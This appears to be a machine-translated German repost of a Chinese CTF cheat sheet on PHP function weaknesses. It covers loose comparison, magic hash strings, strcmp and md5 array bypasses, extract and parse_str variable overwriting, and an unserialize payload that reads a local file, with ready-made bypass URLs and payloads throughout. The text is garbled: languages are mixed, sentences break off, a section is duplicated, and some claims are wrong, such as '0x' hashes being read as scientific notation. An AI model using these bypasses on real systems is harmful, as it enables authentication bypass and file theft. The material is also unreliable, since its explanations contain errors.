Heim  >  Artikel  >  Backend-Entwicklung  >  Teilen einer Sammlung von Schwachstellen in PHP-Funktionen

Teilen einer Sammlung von Schwachstellen in PHP-Funktionen

小云云
小云云Original
2018-03-13 13:53:564315Durchsuche


Dieser Artikel teilt Ihnen hauptsächlich eine Sammlung von Schwachstellen in PHP-Funktionen mit und hofft, allen zu helfen.

1. Schwacher Typvergleich

Teilen einer Sammlung von Schwachstellen in PHP-Funktionen

2. MD5-Vergleich der Schwachstelle

Wenn PHP Hash-Strings verarbeitet und Sie „!=" oder „==" zum Vergleichen von Hash-Werten verwenden, interpretiert es jeden Hash-Wert, der mit „0x“ beginnt, als wissenschaftliche Notation 0 (ist 0), wenn also zwei verschiedene Passwörter vorhanden sind gehasht sind und ihre Hashwerte mit „0e“ beginnen, dann geht PHP davon aus, dass sie gleich sind.
Zu den üblichen Nutzlasten gehören

0x01 md5(str)
    QNKCDZO
    240610708
    s878926199a
    s155964671a
    s214587387a
    s214587387a
0x02 sha1(str)
    sha1('aaroZmOk')  
    sha1('aaK1STfY')
    sha1('aaO8zKZF')
    sha1('aa3OFF9m')

Gleichzeitig kann MD5 keine Arrays verarbeiten. Wenn die folgenden Urteile getroffen werden, können Arrays zur Umgehung von

if(@md5($_GET['a']) == @md5($_GET['b']))
{
    echo "yes";
}
//http://127.0.0.1/1.php?a[]=1&b[]=2

verwendet werden 3.ereg-Funktionsschwachstelle: 00 Abschneiden

ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE

String-Vergleichsanalyse
Wenn $_GET['password'] hier ein Array ist, ist der Rückgabewert NULL
Wenn ja 123 ||. asd ||. 123%00&&&**, der Rückgabewert ist wahr

4.

Vergessen Sie nicht, dass das Programm den Schlüssel der Variablen selbst als Variable extrahieren und an die Funktion zur Verarbeitung übergeben kann.

<?php
    print_r(@$_GET); 
    foreach ($_GET AS $key => $value)
    {        print $key."\n";
    }?>

5. Variablenabdeckung

Die Hauptfunktion ist die Extraktionsfunktion

<?php  
    $auth = &#39;0&#39;;  
    // 这里可以覆盖$auth的变量值
    print_r($_GET);    echo "</br>";
    extract($_GET); 
    if($auth == 1){  
        echo "private!";  
    } else{  
        echo "public!";  
    }  
?>
Extrakt Sie können ein Array empfangen und die Variable dann neu zuweisen. Die Prozedurseite ist sehr einfach.


Teilen einer Sammlung von Schwachstellen in PHP-Funktionen
Gleichzeitig! PHPs Feature $ kann zum Zuweisen von Variablennamen verwendet werden und kann auch zum Überschreiben von Variablen führen!

<?php  
    $a=&#39;hi&#39;;    foreach($_GET as $key => $value) {        echo $key."</br>".$value;        $$key = $value;
    }    print "</br>".$a;?>
Konstruieren

, um das Ziel zu erreichen. http://127.0.0.1:8080/test.php?a=12

6.strcmp

如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。 
先将两个参数先转换成string类型。 
当比较数组和字符串的时候,返回是0。 
如果参数不是string类型,直接return
<?php
    $password=$_GET[&#39;password&#39;];    if (strcmp(&#39;xd&#39;,$password)) {     echo &#39;NO!&#39;;
    } else{        echo &#39;YES!&#39;;
    }?>
Konstruktion

http://127.0.0.1:8080/test.php?password[]=

7.is_numeric

Unnötig zu erwähnen:

<?phpecho is_numeric(233333);       # 1echo is_numeric(&#39;233333&#39;);    # 1echo is_numeric(0x233333);    # 1echo is_numeric(&#39;0x233333&#39;);   # 1echo is_numeric(&#39;233333abc&#39;);  # 0?>

8.preg_match

Wenn es bei der Ausführung eines regulären Ausdrucks keine Einschränkungen für den Anfang und das Ende der Zeichenfolge gibt Bei passender Endung (^ und $) kann es zu Umgehungsproblemen kommen

<?php$ip = &#39;asd 1.1.1.1 abcd&#39;; // 可以绕过if(!preg_match("/(\d+)\.(\d+)\.(\d+)\.(\d+)/",$ip)) {  die(&#39;error&#39;);
} else {   echo(&#39;key...&#39;);
}?>

9.parse_str

Funktionen ähnlich wie parse_str() sind auch mb_parse_str( ), parse_str analysiert die Zeichenfolge in mehrere Variablen. Wenn der Parameter str die von der URL übergebene Abfragezeichenfolge ist, wird sie in eine Variable analysiert und auf den aktuellen Bereich festgelegt.

Eine Art zeitvariabler Abdeckung

<?php
    $var=&#39;init&#39;;  
    print $var."</br>";
    parse_str($_SERVER[&#39;QUERY_STRING&#39;]);  
    echo $_SERVER[&#39;QUERY_STRING&#39;]."</br>";    print $var;?>

10. String-Vergleich

<?php  
    echo 0 == &#39;a&#39; ;// a 转换为数字为 0    重点注意
    // 0x 开头会被当成16进制54975581388的16进制为 0xccccccccc
    // 十六进制与整数,被转换为同一进制比较
    &#39;0xccccccccc&#39; == &#39;54975581388&#39; ;    // 字符串在与数字比较前会自动转换为数字,如果不能转换为数字会变成0
    1 == &#39;1&#39;;    1 == &#39;01&#39;;    10 == &#39;1e1&#39;;    &#39;100&#39; == &#39;1e2&#39; ;    

    // 十六进制数与带空格十六进制数,被转换为十六进制整数
    &#39;0xABCdef&#39;  == &#39;     0xABCdef&#39;;    echo &#39;0010e2&#39; == &#39;1e3&#39;;    // 0e 开头会被当成数字,又是等于 0*10^xxx=0
    // 如果 md5 是以 0e 开头,在做比较的时候,可以用这种方法绕过
    &#39;0e509367213418206700842008763514&#39; == &#39;0e481036490867661113260034900752&#39;;    &#39;0e481036490867661113260034900752&#39; == &#39;0&#39; ;

    var_dump(md5(&#39;240610708&#39;) == md5(&#39;QNKCDZO&#39;));
    var_dump(md5(&#39;aabg7XSs&#39;) == md5(&#39;aabC9RqS&#39;));
    var_dump(sha1(&#39;aaroZmOk&#39;) == sha1(&#39;aaK1STfY&#39;));
    var_dump(sha1(&#39;aaO8zKZF&#39;) == sha1(&#39;aa3OFF9m&#39;));?>

11.unset

unset(bar); wird verwendet, um die angegebene Variable zu zerstören. Wenn die Variable bar in den Anforderungsparametern enthalten ist, können einige Variablen zerstört werden, um die Programmlogik zu umgehen.

<?php  $_CONFIG[&#39;extraSecure&#39;] = true;foreach(array(&#39;_GET&#39;,&#39;_POST&#39;) as $method) {    foreach($$method as $key=>$value) {      // $key == _CONFIG
      // $$key == $_CONFIG
      // 这个函数会把 $_CONFIG 变量销毁
      unset($$key);
    }
}if ($_CONFIG[&#39;extraSecure&#39;] == false) {    echo &#39;flag {****}&#39;;
}?>

12.intval()

int zu string:

$var = 5;  
方式1:$item = (string)$var;  
方式2:$item = strval($var);
string zu int: intval() Funktion.

var_dump(intval(&#39;2&#39;)) //2  var_dump(intval(&#39;3abcd&#39;)) //3  var_dump(intval(&#39;abcd&#39;)) //0 可以使用字符串-0转换,来自于wechall的方法
Erklärt, dass beim Konvertieren von intval() vom Anfang der Zeichenfolge an konvertiert wird, bis ein nicht numerisches Zeichen gefunden wird. Selbst wenn eine Zeichenfolge erscheint, die nicht konvertiert werden kann, meldet intval() keinen Fehler, sondern gibt 0 zurück

Intval kann übrigens um %00 gekürzt werden

if($req[&#39;number&#39;]!=strval(intval($req[&#39;number&#39;]))){     $info = "number must be equal to it&#39;s integer!! ";  
}
Wenn $req['number ']= 0%00 kann die Beurteilung von

13.switch()

Wenn switch ein numerischer Typ ist, umwandeln, switch konvertiert die Parameter in int Typ , der Effekt entspricht der Funktion intval. Wie folgt:

<?php
    $i ="abc";  
    switch ($i) {  
    case 0:  
    case 1:  
    case 2:  
    echo "i is less than 3 but not negative";  
    break;  
    case 3:  
    echo "i is 3";  
    } 
?>

14.in_array()

$array=[0,1,2,&#39;3&#39;];  
var_dump(in_array(&#39;abc&#39;, $array)); //true  var_dump(in_array(&#39;1bc&#39;, $array)); //true
Geben Sie einen String an jeder Stelle ein, an der PHP ihn als int ansieht. Dies wird erzwungen Konvertieren

15.serialize und unserialize Schwachstellen

这里我们先简单介绍一下php中的魔术方法(这里如果对于类、对象、方法不熟的先去学学吧),即Magic方法,php类可能会包含一些特殊的函数叫magic函数,magic函数命名是以符号__开头的,比如 __construct, __destruct,__toString,__sleep,__wakeup等等。这些函数都会在某些特殊时候被自动调用。 
例如__construct()方法会在一个对象被创建时自动调用,对应的__destruct则会在一个对象被销毁时调用等等。 
这里有两个比较特别的Magic方法,__sleep 方法会在一个对象被序列化的时候调用。 __wakeup方法会在一个对象被反序列化的时候调用。
<?phpclass test{
    public $username = &#39;&#39;;    public $password = &#39;&#39;;    public $file = &#39;&#39;;    public function out(){
        echo "username: ".$this->username."<br>"."password: ".$this->password ;
    }     public function __toString() {
        return file_get_contents($this->file);
    }
}$a = new test();$a->file = &#39;C:\Users\YZ\Desktop\plan.txt&#39;;echo serialize($a);?>//tostring方法会在输出实例的时候执行,如果实例路径是隐秘文件就可以读取了
echo unserialize löst die __tostring-Funktion aus, und die Datei C:UsersYZDesktopplan.txt kann unten gelesen werden

<?phpclass test{
    public $username = &#39;&#39;;    public $password = &#39;&#39;;    public $file = &#39;&#39;;    public function out(){
        echo "username: ".$this->username."<br>"."password: ".$this->password ;
    }     public function __toString() {
        return file_get_contents($this->file);
    }
}$a = &#39;O:4:"test":3:{s:8:"username";s:0:"";s:8:"password";s:0:"";s:4:"file";s:28:"C:\Users\YZ\Desktop\plan.txt";}&#39;;echo unserialize($a);?>

16.Sitzungsdeserialisierungs-Schwachstelle

Der Hauptgrund ist

ini_set('session.serialize_handler', 'php_serialize');
ini_set (' session.serialize_handler', 'php');
Die beiden behandeln Sitzungen unterschiedlich
UsersYZDesktopplan.txt";}';echo unserialize($a);?>

16.Session-Deserialisierungs-Schwachstelle

Der Hauptgrund ist

ini_set('session.serialize_handler', 'php_serialize');
ini_set('session.serialize_handler ' , 'php');
Die beiden behandeln Sitzungen unterschiedlich
Verwandte Empfehlungen:

Einige häufige Sicherheitslücken in PHP-Websites und entsprechende vorbeugende Maßnahmen

PHP über Sicherheitslücke bei der Deserialisierung von Objektinjektionen

9 empfohlene Artikel über Sicherheitslücken in Dateien

Das obige ist der detaillierte Inhalt vonTeilen einer Sammlung von Schwachstellen in PHP-Funktionen. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn